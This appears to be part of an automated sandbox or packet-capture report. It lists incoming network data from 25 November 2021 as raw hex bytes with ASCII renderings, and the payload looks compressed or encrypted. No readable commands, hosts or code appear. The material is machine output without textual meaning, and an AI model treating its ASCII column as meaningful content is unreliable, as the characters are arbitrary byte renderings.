Data Ascii: =aW)^^c:Ap+%xz}"VOXJ{"qzH~[*}2,Y.A;!Ri'@@ruO&]?x>{m8Ns_DRPU~ulbm>dM=KSI<03[^`Ak|gA2H,io1
j>hO@w| @8

2021-11-25 16:27:48 UTC 898 IN Data Raw: dc 15 fc 86 e8 f2 8c fa c3 de 07 f8 3d 5a 1c cf e7 f4 b6 77 ca 7e 7f 60 5a ba 37 a7 ec 8a ab ad de 5b 76 f1 69 
02 b1 2e 68 c8 a0 77 cb 9f 9e 8a cb 27 fc f2 a9 20 a7 47 f9 f5 19 47 b8 72 3a a3 49 7f 6a df 89 1c cc bf 45 b6 c8 2a 4c e8 
58 d0 24 80 a0 8a 2d a3 29 9d fe 70 43 67 d0 71 eb 01 95 4c b0 1e cc a7 d3 f8 03 f4 17 2e 74 83 29 74 f1 3c e4 7c ee 5a 
c7 16 97 00 3f ba 0a c2 ae 25 d8 61 91 1d 71 12 63 d4 6d 1f 90 d9 7c 34 9d 8f 40 4c 7f 38 38 20 60 0e 2e 55 5d 1a 60 54 
42 2e 85 31 21 cf c0 ed 7e 70 43 63 7f 78 32 8d f0 fc 48 7c 6b d0 d1 c8 5d 2e 07 e7 16 70 db 52 46 eb 2b 84 c2 3c 13 42 
af 51 47 f6 9e 81 91 7c d6 79 10 20 a9 d3 5b db 21 cf 84 95 06 6d f4 15 2c 22 e8 a2 af ce 33 88 cf 1e 4c c2 1b 78 7c 69 3f 
d3 02 72 df f5 20 e4 84 ce 84 73 a0 12 9b 92 00 
Data Ascii: =Zw~`Z7[vi.hw' GGr:IjE*LX$-)pCgqL.t)t<|Z?%aqcm|4@L88 `.U]`TB.1!~pCcx2H|k].pRF+<BQG|y [!m,"3Lx|i?r s

2021-11-25 16:27:48 UTC 899 IN Data Raw: c1 7f 79 d3 07 a5 41 3e bb 6f a0 d1 b1 fb 79 b9 0c 59 76 10 24 b8 d7 77 db c7 bb bb cf c5 65 b2 18 13 81 72 6b 
f7 b9 e5 e9 1d 2f 97 11 38 3f 98 9d 16 b7 96 4b fb d8 6d f7 91 ba 31 c8 3c a3 f9 58 92 f6 79 77 17 66 ef 0d d0 6d c1 cb f3 
d8 72 08 52 ab dc e6 53 0b 3b f0 72 77 f7 19 92 f1 19 bc 8c c4 5c 75 5f 12 11 40 75 61 d6 a2 21 ef 0e 49 92 86 4f 47 58 4b
c7 6b 43 41 18 86 ee 84 88 45 a6 ee 8c cc 99 a9 e8 de b0 75 ba 88 fb 8f 81 6d a1 3f 60 91 cf c0 62 76 e7 51 da 47 9d d3 
ff 86 49 d1 27 9f 13 dd d7 ef 70 80 2b 0e 86 9b 62 01 28 03 47 be 0a 41 14 3a cb 3b 2c 0d 03 ef f4 55 0b dd ef 30 92 e1 39 
7b 2c b0 48 ac 44 c2 e8 c9 c6 80 13 45 d5 8c 11 9b 7d 26 77 ab 0c 30 9c d8 2f 8f 86 6c ad 07 64 89 0c dd cf dc 4f 82 86 
ec 2f 99 b9 39 8c 3c 6b 94 42 04 de 41 33 85 
Data Ascii: yA>oyYv$werk/8?Km1<XywfmrRS;rw\u_@ua!IOGXKkCAEum?`bvQGI'p+b(GA:;,U09{,HDE}&w0/ldO/9<kBA3

2021-11-25 16:27:48 UTC 900 IN Data Raw: b2 1e cc 47 58 f7 8b f9 67 3d 7b 94 a6 74 b4 04 d2 68 f2 27 73 15 cc b9 a1 24 87 a4 27 e2 15 de 89 c5 17 f2 55 
c9 40 f8 c6 94 33 8b f7 7d 08 f7 c3 20 ad a7 54 6e a2 5d 93 49 36 18 44 9c f2 60 95 03 35 16 de 19 30 96 06 04 38 2e 93 
f7 93 5e bf c7 e0 4f dc 01 63 3d c6 23 93 14 2c d8 ab 89 eb d9 13 34 ce cc 6a f6 c1 67 57 0c 8e 3d 59 2e 7d a7 e3 0b 13 
c8 a7 35 55 6a 82 b9 68 dc c9 17 30 79 8b bd e6 a1 38 23 23 70 0f 7a 41 5a 0c 1a c8 62 d0 b1 4b cf 83 8b 1e 27 7a 9c 74 
0a 6f ba 77 e2 aa 9b de ef 4f e0 a2 3f 21 2a 26 f0 6f cc 08 80 ab 00 c6 c9 65 d1 12 69 c0 ac 33 4b 85 69 24 26 dd 54 40 f9 
a2 cf c9 43 06 98 82 8d 13 2f b1 b0 d6 3d 80 3e 83 54 a5 d0 7c 43 87 7d ec f0 c1 4f a2 a8 25 22 d8 cc e3 f0 07 0e 03 e0 
00 3f d8 35 f6 95 e5 62 25 49 62 f5 53 73 94 a3 bd 
Data Ascii: GXg={th's$'U@3} Tn]I6D`508.^Oc=#,4jgW=Y.}5Ujh0y8##pzAZbK'ztowO?!*&oei3Ki$&T@C/=>T|C}O%"?
5b%IbSs

2021-11-25 16:27:48 UTC 902 IN Data Raw: a0 0f 06 28 17 64 a0 6c 73 80 69 48 26 2e db 0b 10 00 44 32 49 3d 0f 59 6e ea 26 85 ee 86 87 e4 00 db e4 8b 
59 d5 46 f9 a7 d8 6a a0 69 0d 46 08 ba 04 40 37 81 f8 54 7a 03 13 cc 64 28 db 25 51 64 8e 93 b8 f4 3a 53 55 a6 ea 0a af 
c3 6a dc 31 d7 9e fc 92 1e 04 75 bf da 38 c9 31 72 3b 56 23 b7 63 08 d9 10 f0 71 a2 15 d4 ac 7c 04 ee 72 40 22 2c 4d f3 
24 8b 31 a6 0e 38 03 7d f2 1b e6 7d 46 93 fe 68 32 e2 6b 3b 81 e2 c8 69 55 c0 6c 37 56 c1 33 17 37 1d ec 78 82 19 01 db 
73 d4 8b 5c c5 29 64 45 bf 10 8c f8 9d 4c c1 30 f4 15 78 ce 7e ba d1 ee 6e 90 6e 52 40 40 dd 68 b9 0c c4 2b b9 71 f2 f3 
83 fb 9d 5f 44 22 f1 0d a3 9a a8 04 7f c5 57 94 3f 61 9c fb 06 a2 de 63 54 a7 b9 e8 5c db dd 85 5e 50 ac ba 2d d7 ec 06 5a
6e 65 55 44 ec 42 b6 df 2c 97 1e 84 d5 c7 20 f2 6f 30 
Data Ascii: (dlsiH&.D2I=Yn&YFjiF@7Tzd(%Qd:SUj1u81r;V#cq|r@",M$18}}Fh2k;iUl7V37xs\)dEL0x~nnR@@h+q_D"W?
acT\^P-ZneUDB, o0

2021-11-25 16:27:48 UTC 903 IN Data Raw: 65 1a 96 57 3e 53 38 b6 c8 62 3c 45 65 c8 8b ca 3e d8 e2 27 56 3d b3 1f e9 9c ea 8a 3b e4 2d ee 54 f7 f1 9f 53 
2c 75 56 32 ff 6f 21 aa 3a 4d b7 ae 77 e1 b9 fd d6 3d c5 b9 a8 6c 61 f7 f7 e0 b5 30 bf 7f bd 17 66 b6 af a7 cb 1b d8 66 87 
4d 6c d1 b8 60 3f 3b 22 42 3b 25 3c dc 33 3a 8f 6e d5 65 12 61 c3 59 52 14 ac ca 5b e2 2b 45 06 c0 a3 d1 18 dc 90 17 ee 
57 61 9d c9 bf 01 19 fc b1 c4 c9 90 30 df bf ba 4f 99 5e d1 cb ef f0 9e a3 2c 09 b7 21 02 05 2a 2f 85 0b c7 54 8f ba 37 64 
b9 fc 0a 41 07 d5 06 9f 85 ad c8 4e 16 91 3a 77 4f 5d cd 64 ca fb 7c 2f a7 b6 55 92 6d 76 7c 9a dd fd f8 94 18 76 53 1e 18 
76 6e 1e 70 39 e7 eb 73 89 3b f2 9b 7b 0b 3f a0 f3 63 4a 7e 07 8f b3 3c 8e 50 7c 22 0c 22 42 45 de 58 e7 61 08 9f ba e7 
ef 49 ee c1 05 19 a1 56 7a ea 48 c3 f8 d4 61 
Data Ascii: eW>S8b<Ee>'V=;-TS,uV2o!:Mw=la0ffMl`?;"B;%<3:neaYR[+EWa0O^,!*/T7dAN:wO]d|/Umv|vSvnp9s;{?cJ~
<P|""BEXaIVzHa

2021-11-25 16:27:48 UTC 904 IN Data Raw: f5 e4 5e ae 40 79 8c 6e 6f 90 cf 2b e0 6d c3 a9 08 00 8a 2f 3e 65 ce a2 64 67 ed 15 9c 8a c9 71 ff 2a 7f 99 cf 
be c4 da 34 8a 6b ad 55 f3 0e 65 7d ac e7 7f c6 a6 fc cf 6b 36 00 b7 ee d7 64 2b 14 9a a9 01 1f 97 33 50 65 be 92 b4 da 
dd 3d e4 e7 d5 a6 b7 92 0d 4b cb e5 6d b2 e1 c2 f6 9d 23 bf 7b 6b 2c 3b 4e cd 6d 5a 21 f6 4e 94 8b 10 76 54 31 4d 2a 11 
93 9a 0f a7 fb 33 ab e0 2c 72 6b 5e 2e f8 b1 2f a5 f5 14 9a a3 52 51 d0 2e fd 0f ed d0 02 fd dc 1c b6 ad e8 03 ef aa 6f 2a 
17 c4 4a 19 82 47 68 8a d3 62 
Data Ascii: ^@yno+m/>edgq*4kUe}k6d+3Pe=Km#{k,;NmZ!NvT1M*3,rk^./RQ.o*JGhb

2021-11-25 16:27:48 UTC 904 IN Data Raw: 92 58 ee 52 2d 84 be bc 20 57 2e 1e 39 3b 0f 07 a3 05 38 20 61 90 46 3d e7 63 50 00 78 3e 07 fc e0 47 a7 b2 
3a 1d b6 c2 7e 05 36 05 ef b3 8d 3d 49 1d 1f 07 fb c9 0e 0c cc 27 78 08 d2 75 f6 a0 85 6c e5 da 18 5e bc 56 dc 9a af a2 
61 1f eb 61 85 af 11 48 5f 43 56 40 75 41 33 c0 2c e5 a3 d8 c7 51 0c 2f 34 a7 43 d9 29 89 6f 3e 23 4f b2 6f 24 e7 78 ca 37 
32 cf d5 03 3b f9 2b 0c c4 8e 7e 90 33 7b 10 5e ac 92 2a d4 1e cb 7a 53 3e 75 99 7f 88 79 f0 27 54 6a a1 c4 53 14 2a 89 
68 07 76 fa 0e e5 26 21 4c f3 eb 4f d8 b6 8e 64 6f 82 9c 48 6a 19 8a c2 31 7e de 07 53 e4 fd 54 9c fa 72 5b 48 1f 8b 46 87 
bb bb 83 cc 29 23 72 9f 4e fb 90 e8 c9 ff 90 65 9b 41 ed d8 97 cb e5 6b ac e4 24 03 ed dc 00 47 9e f6 8b 3a d5 cf 55 02 f6 
cd 95 80 7d 59 09 c8 8f df f9 8a ab d0 bc 13 0a 
Data Ascii: XR- W.9;8 aF=cPx>G:~6=I'xul^VaaH_CV@uA3,Q/4C)o>#Oo$x72;+~3{^*zS>uy'TjS*hv&!LOdoHj1~STr[H
F)#rNeAk$G:U}Y

2021-11-25 16:27:48 UTC 906 IN Data Raw: d3 2f e8 0c db de 72 89 67 4f 5a f8 15 36 fc c2 a6 fa 90 1e a5 ef 76 ad 39 0d 46 53 bc bd 93 6b 94 3c 82 16 fc 
37 be 3e 19 70 7f 1b 5e 94 87 fb 79 74 2e 4f 19 5e 44 cc fd 91 8d f0 65 fc 16 88 e9 48 68 31 32 dd 74 10 92 23 a0 1f 1d 1c 
10 b4 dc a3 48 d9 05 1b a0 62 e6 81 75 64 8f d3 2c da 1d 6e aa 52 5f c3 95 9c 89 32 7a e3 d4 fd 98 74 1e 8c 11 17 9b 54 
ca 37 81 78 6a 92 8f 82 3e 07 06 fc 74 7f d7 85 a6 d7 a3 f0 86 b5 d4 86 a5 a8 65 1b 5a 8c 16 67 e3 59 7c 6b 6b 8d 79 3a 
16 8f c9 b5 a4 02 c6 d5 a2 e4 a7 cf 56 20 45 b6 26 94 d9 1a 31 02 fc 22 1d 40 3c e3 c3 77 b0 44 4a 91 29 0c d2 bd 2c 3d 
96 62 49 04 92 dd dd 9d 40 da a9 31 49 65 21 3c 1a 76 23 16 ef 4a b0 29 75 07 8e 9e d9 e1 63 6c 26 43 8a 03 4f e4 c8 29 
63 25 46 48 ee e6 fa ec b6 35 1e 32 96 8f f1 34 21 
Data Ascii: /rgOZ6v9FSk<7>p^yt.O^DeHh12t#Hbud,nR_2ztT7xj>teZgY|kky:V E&1"@<wDJ),=bI@1Ie!<v#J)ucl&CO)
c%FH524!

Timestamp
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2021-11-25 16:27:48 UTC 907 IN Data Raw: c7 85 1d 6b 8c d5 02 c6 72 28 b0 65 bb 1f 53 25 f7 7b 81 6f 3f 18 3d 53 73 7c 23 da 87 57 d6 fd 0f fb 54 31 97 
25 08 7f a8 f5 67 43 82 4a d2 8f 08 59 1b 2e 7b 7b 2e 94 60 65 d4 8c de f3 e4 28 86 79 ac 54 4d 7a a4 8f 5c a1 b1 c4 1b 
82 c9 e1 2a 38 40 f6 6b 2e cf c2 cd 93 f4 34 80 e5 3f 81 38 24 47 c6 0f 61 43 1c e7 ff ed ab 21 ce 7c ce 52 d1 d0 40 d1 e5 
df 91 8a ec 4c 6e cb 58 6f df 52 96 fd 4c 4f da c1 b0 44 1b 4f c2 16 c0 5d a8 fe 03 19 58 45 e2 c0 7f e2 5a ae c1 3a 8a 00 
69 51 a0 bb 83 01 e5 4d 32 cf 6e af 88 8f ca 3a 7f b1 27 ee 2e e6 c7 e8 af 95 2b 41 cb 84 4b f9 97 72 d8 ed 60 03 68 38 
0a 7d 85 cf 8c a5 2f 81 2d fd dd 86 2e c9 36 5b 7a 7f 7f 4a f3 07 6b 16 77 52 b7 5f 10 f8 71 83 d3 7e 44 8f 2a bd 68 53 91 
5d 1f 04 65 a7 19 97 6c 27 33 89 2d c2 9d d1 
Data Ascii: kr(eS%{o?=Ss|#WT1%gCJY.{{.`e(yTMz\*8@k.4?8$GaC!|R@LnXoRLODO]XEZ:iQM2n:'.+AKr`h8}/-.6[zJk
wR_q~D*hS]el'3-

2021-11-25 16:27:48 UTC 908 IN Data Raw: 09 bd 5b 77 cf f6 1d e0 d9 a3 3b f3 0b a9 dd 99 5f 23 39 76 c7 01 42 b2 4a 0c d2 77 b3 05 b2 b1 ba f4 ef 1e 1f 
33 fd a8 a0 84 c0 ef 5b e3 d9 7d 9a db 4d 52 0d 56 73 2f 2c 6b 55 90 12 94 5f cd 55 9d 5c 1f dc 00 d7 da 40 8f f1 0c 10 51 
a1 5d 75 bf bb f6 90 72 e1 e3 a3 fc 56 d6 b0 06 ad 82 e5 f5 ba 90 00 4e 5d d0 6d a9 54 76 b0 45 1c 97 b2 ae d7 75 f1 e1 
f1 f1 d6 f7 9c bd 03 13 e8 fe c8 be 76 6e 4a 25 fc 0f 62 8e f3 76 84 3c 48 3d b2 4d fc 58 63 3f 20 6f 6b f4 17 24 fc 9c a4 fa 
27 de f6 6c 64 6f 5b 92 6d 92 60 93 e5 9a 89 c8 b2 f3 25 dd d6 f8 91 60 e6 48 ae 32 dc 01 4f 2c 40 6e d2 9f c7 c7 3b 18 58 
ff ae 2a 5e 61 62 60 8f 40 ba 41 68 4a cf e9 6f d5 85 eb 00 e3 66 52 68 3e 3a f5 f8 5f 7c 33 55 e6 aa 3d 18 76 7a 5d f3 fa 
d0 78 79 53 bf 2f 6b 8a 8f 9a a1 48 d4 
Data Ascii: [w;_#9vBJw3[}MRVs/,kU_U\@Q]urVN]mTvEuvnJ%bv<H=MXc? ok$'ldo[m`%`H2O,@n;X*^ab`@AhJofRh>:_|
3U=vz]xyS/kH

2021-11-25 16:27:48 UTC 909 IN Data Raw: 65 3a 10 85 ff 38 df c2 f8 9f 40 8b 8d 02 db d4 34 03 8d 01 66 00 3c 3f 34 5c f3 a0 ee be 71 ea 6e a5 a2 db 15 
93 5c bb 37 95 b2 fb c6 12 4e 2c 0b 12 6a ac 92 06 33 fe 68 57 6d b0 36 9c 1b 06 e8 31 76 fc 38 03 64 23 08 d0 b1 e0 2f 
25 38 17 69 53 21 f6 a6 1c 97 b5 13 10 27 80 56 30 ab c9 91 56 43 8b a6 a6 69 ba f1 24 43 f6 10 0c 1b a6 a5 c3 44 9d 2e 
01 dd 6f 13 7b 76 94 d6 47 73 f2 f1 ba 69 9e 6d 2d 5d 28 32 b0 22 34 02 12 b5 80 0e 1e 98 6b 91 d7 e0 28 1a 02 4d af 11 
63 0a 88 9e 02 a2 a7 80 e8 29 7a 67 dc 52 89 3b e8 6c c3 bd 9e de 18 53 83 80 55 e9 67 ac a9 68 ec a2 f6 9c 27 b4 c7 06 
d6 a6 03 0b 04 ed 62 93 4e d4 24 d3 f8 0c 07 46 d7 70 a1 5d 9d 9b 54 2e b7 7a 9f 1f 32 64 36 e9 ff 15 31 5f 94 5e 4c 8d 6f 
f0 fb 06 7e d7 f0 fb 16 7e 03 f8 d5 e0 37 84 df 5f 
Data Ascii: e:8@4f<?4\qn\7N,j3hWm61v8d#/%8iS!'V0VCi$CD.o{vGsim-](2"4k(Mc)zgR;lSUgh'bN$Fp]T.z2d61_^Lo~~7_

2021-11-25 16:27:48 UTC 911 IN Data Raw: 62 ac 44 cb 84 9b 9a 62 2c dd ef e1 9a a0 77 37 d7 f1 1a 63 36 eb 04 9e a4 4c d4 a9 b2 f3 8e cf ca ff 95 de b3 
92 03 37 58 81 48 4c d9 72 d3 34 12 4e d2 48 60 14 6e c7 ce 6e fb 48 ce cf 3d 52 80 24 8a 62 4e 04 35 3b 42 55 c7 89 dc 
e7 c2 ff e5 b9 81 99 8c 45 5a c8 99 d7 09 a7 58 35 f2 da 25 9d 65 d5 c8 6f 77 23 58 49 6e 79 c4 e0 11 fc e4 c4 a3 6f 72 c4 
2d a7 1b 34 1c 63 d2 e6 1e 14 61 ef 37 23 17 57 dc 67 e7 68 ff b0 e6 64 a2 00 74 d0 a3 4c ee 11 d6 59 73 f3 ac 78 25 15 
9e a4 07 e0 3e 3b 00 c2 27 4d 2c 17 fd e0 04 08 ef 96 54 43 a8 0b 04 34 4c f7 a8 bc 93 38 34 57 d2 30 11 ad 59 21 b2 57 
c4 e0 6a 0b 08 c3 54 ee 37 99 dc df 08 57 6c b2 99 df 66 32 af 09 57 7d 32 99 41 66 a7 33 07 24 52 8e b2 75 ff 92 a9 3b 
c4 ec ff 78 f5 87 2a 37 5a 49 99 02 1b 5a e0 00 f3 
Data Ascii: bDb,w7c6L7XHLr4NH`nnH=R$bN5;BUEZX5%eow#XInyor-4ca7#WghdtLYsx%>;'M,TC4L84W0Y!Wj
T7Wlf2W}2Af3$Ru;x*7ZIZ

2021-11-25 16:27:48 UTC 912 IN Data Raw: a0 ce 0b 94 91 40 87 9d 51 e3 1c c9 34 f1 5e 38 48 27 30 21 9e a2 17 ca b3 4f c8 c2 9b df ab f0 72 a6 c4 4b 87 
8e 56 72 84 8e 7b e7 28 bd e0 3f 7b 1e 23 14 30 6b 6a d2 0b 48 15 9e c8 df 9f 02 e3 30 bc 9f 2b c7 ac 93 36 a2 59 72 0f 
80 3b ef bc a7 a2 f3 7d 9b c6 e2 d9 2b 7f 00 01 d6 3b 3f 47 c2 67 bf b8 9e 43 a4 88 a7 3c c0 2e 03 f5 ca 00 d1 b2 0a 59 ab
ac fd c4 3d 6f e8 47 50 5a 69 9c 53 dc 90 d9 67 4a 17 82 a8 5c d5 64 f8 57 9b ec a3 62 bc a3 b9 50 d9 dc ed 5f 6e 0e 74 
8d 1d ad dd 2a 5b 6b 5a bb 5a e3 f6 69 34 0d 9b 3c c3 1a 23 3d 68 3f ee 82 67 08 a6 c0 0e 78 9a 6a 82 6b fe d5 ee a3 99 
be ab 39 65 f7 47 8a 85 9a dc 87 21 3c 1d 4f 6a 9c 59 e2 3b 9a 1f a9 7b bb 52 b4 4f 17 26 6b b8 16 4b 4b 78 e7 3a 8e 79 
90 70 88 43 82 b4 a0 92 ae 21 16 7e 0c ea 37 a1 4c 
Data Ascii: @Q4^8H'0!OrKVr{(?{#0kjH0+6Yr;}+;?GgC<.Y=oGPZiSgJ\dWbP_nt*[kZZi4<#=h?gxjk9eG!<OjY;{RO&kKK
x:ypC!~7L

2021-11-25 16:27:48 UTC 913 IN Data Raw: 7d 98 7f 5e b6 2f db 63 c9 1f 1c bb 7f 53 ae 48 69 a9 31 4c 50 d1 99 0b 74 ae ec e0 aa 3f 31 fd ad a3 38 bf 42 
3f fa 50 ed 9d 9c e4 38 bf d5 5e 1a 3a 27 16 78 6e 6f d5 6b 74 14 9a 80 dc eb 4e 77 d8 1e 8c fe 62 bf d3 c4 e7 2d 71 63 
e0 b1 8b a3 59 3c c5 d3 cc 38 d1 ef 8a 18 dd 29 27 fc ef 05 63 79 d9 6f 35 46 ed bf df ab a2 3e 5c ae d0 11 53 d4 87 ef 6a 
6e be c8 30 73 6e 17 d2 88 fe b2 59 ac 12 5e ff a4 af 75 47 7f 77 f5 e6 1d d4 ba a3 1b 17 ca c5 3d d9 68 d2 93 7b 21 31 
c9 df 03 7c 48 4f 14 e3 a7 5d ed e8 41 43 6d 0a dd 17 f0 c8 a0 7d d1 bb fa 49 6a a2 21 8a 9f a6 a7 01 dd 37 53 44 4f f7 4a 
9e f8 51 d8 8b de a0 d5 1e fc 27 ba f1 f3 cc 3e 70 fd b5 e3 ae 8b 7a f6 43 3d 40 1f b3 87 66 31 10 a2 f9 3c 32 ac 10 60 3e 
51 af fc 80 ee fa 88 96 d9 27 03 04 bc 93 c1 
Data Ascii: }^/cSHi1LPt?18B?P8^:'xnoktNwb-qcY<8)'cyo5F>\Sjn0snY^uGw=h{!1|HO]ACm}Ij!7SDOJQ'>pzC=@f1<2`>Q'

2021-11-25 16:27:48 UTC 914 IN Data Raw: f5 da ba 01 4b 26 47 04 fc 60 84 43 cf d3 93 e2 14 d3 a3 29 8f 6b b0 a3 d2 77 8c da 6e 83 e8 a9 32 f0 82 53 dc 
c8 ef ba 77 cc ad 58 34 34 45 d4 70 62 27 9c 83 e2 6c cc 37 3b 1c 4b 89 43 33 0b 18 9c 55 10 f0 a2 05 d0 9e 14 51 9a 63 
cb 0e 75 18 ff 8c 17 4d e9 46 e3 67 03 94 4a 07 6f b8 63 8a d1 27 31 cb df cb fa 73 9e f4 e2 b0 fd aa 9e dd fe 54 c9 78 ef 
7e 95 9d 83 a5 12 0e fd be 19 a7 44 d1 90 52 89 bc 55 26 e3 c1 3e ca 0f 65 a2 4a d7 eb 07 6f 09 fd 78 20 dd 15 c4 1f d2 
e0 16 b2 ff d4 0d db 01 10 1e c1 53 0b bd 42 ab c8 29 1a 13 4b 39 26 92 a7 ae 54 8a ee 0d 48 7f ca c4 30 74 b9 57 7f 61 
5c 8f 0a 5b a8 a4 87 bc 56 58 e4 09 fe b6 08 a3 71 34 a6 08 6b 45 e3 44 fe 53 78 15 51 a3 ff 2e 6e 45 2b 3f 89 5f 51 ec a7 
71 1c c5 c2 8a b0 58 84 67 5b 89 e7 8c f7 38 8d 
Data Ascii: K&G`C)kwn2SwX44Epb'l7;KC3UQcuMFgJoc'1sTx~DRU&>eJox SB)K9&TH0tWa\[VXq4kEDSxQ.nE+?
_QqXg[8

2021-11-25 16:27:48 UTC 916 IN Data Raw: 9f 97 c9 5b 9d 2e 97 60 9c 2e f7 96 f4 14 12 bc aa 29 2a 2d dd 0f 89 0e 14 e7 8d 5d 77 2a 26 16 a7 2c 13 c6 
b7 2c 5e 3b 37 86 f4 52 39 bc d1 b7 22 62 4b f4 34 fd 9c d3 4b 9f 2e e0 8b 81 77 17 7a b8 23 02 d0 01 e8 e1 cd 08 b0 9d 
4a 25 6e cc a6 8d a0 2f 96 3e 8a 98 30 56 e5 30 7a 88 b2 82 59 c6 2e a1 3c 97 68 fe bd 4c 63 17 54 5c c6 fd 43 67 8a 01 
64 19 c5 8d 05 08 40 55 3a a9 ae 36 c1 8c 09 58 72 cd be 5f 5b 37 37 52 6c 2e d1 92 3d c7 f3 9d b2 d7 0a 8a 91 8b c6 2b 
d1 94 89 07 e3 9c 67 64 b4 ea a2 aa 2e 87 05 e8 e8 a8 ec b8 73 37 74 f7 38 74 e4 86 59 da 93 e7 cf d9 c3 b4 52 31 12 ed 
bc 7d f9 2b cb 51 2a 71 2c 18 fb 07 7a 6d 9f 5f ec 78 91 61 fd ea 84 de 4a 22 f8 30 ba 77 92 71 31 a2 2c fe 5a 17 2b 6b 08 
45 51 bd 0b c5 09 58 5e 18 cc 84 14 1b 18 d5 74 74 ca 
Data Ascii: [.`.)*-]w*&,,^;7R9"bK4K.wz#J%n/>0V0zY.<hLcT\Cgd@U:6Xr_[77Rl.=+gd.s7t8tYR1}+Q*q,zm_xaJ"0w
q1,Z+kEQX^tt

2021-11-25 16:27:48 UTC 917 IN Data Raw: da 29 1d 43 a8 e0 59 92 fb 47 2a 15 47 d8 27 13 78 da 1a 97 59 81 27 54 7b 82 aa bd 00 09 2c 90 28 02 6d 38 
7c dd 02 a8 ec 6d 02 f6 6d 54 83 ab 3f 70 43 05 3e 5e bb b1 c7 a5 a2 fd 03 7b 44 8b 45 fb ae 6f b6 60 0b 8a ec d8 9a 30 
51 8c 0f b9 7a d1 b5 15 57 4a ef 8f 8e 94 23 5b 8e c5 5b d2 8b 61 cb c1 75 4b 7a c1 1b 13 0d 3b 1d af 34 ad 74 8a 61 d7 
b3 7b 44 ec b2 25 3b e2 38 47 5b f2 22 01 9e 4a 97 02 18 71 ad 92 c1 8d 26 ad a5 6b 14 2f 1a de ce 69 f3 a8 bf c5 51 9c 
90 23 80 5e d7 bc 42 af 85 8b 54 35 c3 ed d1 2e ee 92 3e 88 15 6f bd f6 cc 4a 29 d4 65 6a 99 a1 39 4d 6f dd 96 ee e8 4e 
a2 13 67 b4 2b 35 e6 ad d4 50 5a a9 a1 34 a8 ba 72 6d df d4 61 72 28 e7 6d b9 b0 52 28 4b d6 a1 1b ac 0a 30 eb e8 5d 
98 49 e0 a0 0b 84 57 43 79 c0 41 46 36 f1 2e f4 e4 8e 15 3a 
Data Ascii: )CYG*G'xY'T{,(m8|mmT?pC>^{DEo`0QzWJ#[[auKz;4ta{D%;8G["Jq&k/iQ#^BT5.>oJ)ej9MoNg+5PZ4rmar(
mR(K0]IWCyAF6.:

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 918 IN Data Raw: 21 2c 07 54 b6 b8 2a bd 3e 45 1d ce 9c d6 77 e8 14 0f 6c c2 47 c5 22 ee e8 e5 f5 fc 06 fa 8a 3f e6 4c df 02 2a 
a0 26 72 03 5a 0a 47 39 43 b5 15 a3 da 7c f6 8a 55 b5 a6 aa bc b1 31 cb ae e9 54 0e 63 5f e0 91 45 23 73 b5 83 fa dc 04 
35 c5 a9 bc 4c 7d 7b 89 df 66 e6 fa ed db 97 f5 b5 59 5e 97 5e e9 6f de bc 7e dc bc 7d fb ba 0e d5 6d 4a 87 bf 41 c2 cb c7 
f9 db b7 bf 83 16 62 fe fe aa 0e dc 5e 9e 9b bf bf 36 5c 78 d8 c0 03 f4 d9 e6 51 0e e8 90 41 ae d7 f8 6f 73 03 14 07 d6 2f 
74 07 1f f4 2d 50 24 b7 83 e1 25 39 f3 7e c9 d0 1f a9 be cf 99 5e de c7 61 e6 f7 65 4a 15 1a b3 9d 21 53 94 2b ce 13 0d 4c
1c 8e 8e 83 59 68 f0 45 d1 66 23 0e 78 56 74 4b 74 c8 91 d5 04 4a fd 18 ff 92 22 90 9c 74 31 67 4a 9f f8 aa 38 9b 50 c4 
14 e6 96 42 bd 11 d0 f3 7a 34 9f 86 46 a0 5f 
Data Ascii: !,T*>EwlG"?L*&rZG9C|U1Tc_E#s5L}{fY^^o~}mJAb^6\xQAos/t-P$%9~^aeJ!S+LYhEf#xVtKtJ"t1gJ8PBz4F_

2021-11-25 16:27:48 UTC 920 IN Data Raw: bd 34 34 d4 8e 65 52 d3 2e 0d c3 03 0e 98 2f 40 ec 6b c3 78 23 10 26 e4 82 6f a9 b8 73 66 d6 5f a8 76 e9 b1 
71 8e 19 a2 55 a9 d4 57 7c 77 37 73 8f c8 a2 62 aa 3f b8 d5 d6 f3 e7 f5 29 0b 21 51 31 39 95 a7 d1 28 87 43 d3 b3 7e d8 
c4 45 54 49 de 55 2f 3c 60 30 b2 7b 18 23 d0 d8 f7 28 fb 5c 7f 98 55 3b 04 7e eb f4 30 21 31 d3 d1 f2 9c ca 57 f9 47 83 3b 
6c 09 91 cd 63 d1 18 d4 70 52 2e 6b 33 1b be 4a 88 d8 78 f7 5b 9d ee 8c 73 12 c0 cd 79 6c b1 54 3a 34 4d f1 c2 cd 9c 23 
b7 54 02 13 85 27 5e 1f dc 80 34 9a ff 95 39 6b 5a 2a 4d a1 31 e8 35 76 0a ed b4 ab 84 99 96 d9 50 a9 da 21 9b d8 ce fc 
21 b1 3e e7 f6 e5 78 21 22 de d1 bc a0 dc e6 97 6e 48 a7 55 f4 c5 ea 9f f4 09 48 71 b9 a5 d3 a4 07 47 f3 c8 3a 25 61 60 
1f 95 97 9f 92 43 ae 80 16 8a a8 9e a3 32 05 56 25 a3 
Data Ascii: 44eR./@kx#&osf_vqUW|w7sb?)!Q19(C~ETIU/<`0{#(\U;~0!1WG;lcpR.k3Jx[sylT:4M#T'^49kZ*M15vP!!>
x!"nHUHqG:%a`C2V%

2021-11-25 16:27:48 UTC 921 IN Data Raw: 03 30 51 28 20 4d dd 26 77 9c aa b5 a9 ac 35 5b a9 a8 ae c5 16 45 ab 2e aa 6b a6 aa de 2c dd c0 26 2b 55 24 
18 35 f9 78 39 a1 56 d2 f4 23 cd f1 6d b6 6e 8c 6e b3 6f e3 20 d4 4e e8 7f 92 01 48 54 9d 04 40 a4 a6 d0 1f 34 a2 20 d0 fe 
61 46 14 c5 5f 53 e8 8f 3f 24 eb 1b d2 40 6d 82 c9 26 89 e5 f9 74 a7 5f a2 40 92 ef b0 82 83 7c 10 99 99 40 4c 76 cd 72 
75 3c f6 97 a7 4d c8 d5 58 79 51 ae 7a ce 02 3e 0c 2c a2 86 40 23 1d b8 81 3e c4 d5 cd 02 b3 55 1a 81 a5 66 d0 51 12 fc 
32 28 90 bc 3d 60 22 ba da 2f d2 cc b4 ec e5 f5 13 62 ec 1f ea 46 6e 89 56 ef 82 df ab 7d 4e 17 01 ab 4a eb 75 ea 89 e7 
